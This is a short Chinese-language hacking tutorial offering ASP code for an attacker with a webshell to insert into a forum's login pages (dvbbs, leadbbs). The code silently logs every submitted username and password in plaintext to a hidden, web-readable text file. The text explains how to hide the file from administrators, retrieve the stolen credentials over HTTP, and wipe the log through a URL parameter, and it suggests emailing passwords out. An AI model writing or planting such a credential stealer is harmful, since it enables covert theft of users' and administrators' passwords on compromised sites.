用asp记录论坛用户密码(dvbbs,leadbbs等)

很多人在得到动网的数据库后郁闷不已 (呀的，管理员的变态密码让我们的机器跑砸了都没辙)  
Now We Have Another Method!!!!!  这就是用asp记录明文密码。  

用法：1.将此代码插入login.asp或admin_login.asp等等验证登陆的文件末尾即可。  
2.将PATH换成web下可访问的路径,如:C:\Inetpub\wwwroot\...\Info.txt（info.txt的路径越深越好，防止admin发现)  
3.你的webshell必须有权限修改文件且FileSystemObject可用。  
4.一段时间后在IE上 访问:http://.../Info.txt就 可以看到登录过的用户的帐号密码。  
5.在IE上输http://.../(which your modified).asp?u=del可一清楚info.txt的内容。  

注意：1.你可以为它添加其他功能，例如：已记录的用户不再重复记录，用邮件接收密码等等。  
2.为了防止info.txt过大，我用清空info.txt的方法。  
当然你可以新建文件来解决此问题。  
if filesize>200000 then  
set file2=fso.OpenTextFile(PATH,2,True)  
file2.WriteLine ""  
file2.close  
end if  
--------------------------------------------------------------------  
<%  
dim fso  
dim file  
dim file2  
dim filesize  
dim file3  
set fso=server.createobject("Scripting.FileSystemObject")  
If Request("u")="del" Then  
set file=fso.OpenTextFile(PATH,2,True)  
file.WriteLine ""  
End If  
If fso.FileExists("PATH") Then  
set file=fso.OpenTextFile(PATH,8,True)  
Else  
set file=fso.CreateTextFile(PATH)  
end if  
file.WriteLine "Username:"+Request.form("Username")  
file.WriteLine "Password:"+Request.form("password")  
file.close  
set file3=fso.GetFile(PATH)  
filesize=file3.size  
if filesize>200000 then  
set file2=fso.OpenTextFile(PATH,2,True)  
file2.WriteLine ""  
file2.close  
end if  

set file=nothing  
set file2=nothing  
set filesize=nothing  
set fso=nothing  
%>  
----------------------------------------------------------------------  

By ymqsz  
E-mail:ymqsz@tom.com